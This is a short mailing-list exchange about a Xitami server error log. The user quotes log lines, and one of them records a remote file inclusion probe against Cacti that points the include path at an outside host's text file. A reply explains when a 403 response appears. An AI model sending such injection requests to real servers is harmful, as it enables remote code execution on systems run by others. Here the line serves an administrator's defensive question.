[Xitami] Error Log Question

[Craig Morrison]

kharzham at earthlink.net wrote:
> Here is a sample of my error log for one day:
[snip]
> HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 66.70.255.159 - - [31/Jan/2006:18:20:32 -0600] "GET 
> /Cacti/include/config_settings.php?config[include_path]=http://duffy.hk/.../t.txt?& 
> HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> ...
>  
> There are 20 such entries.  It looks to me like this person was trying 
> to gain access to files, and the system errored out because they did not 
> exist.  Should not it be 403, forbidden, or do I not have the system 
> secured properly?

You will only get 403 forbidden if you are using HTTP authentication.

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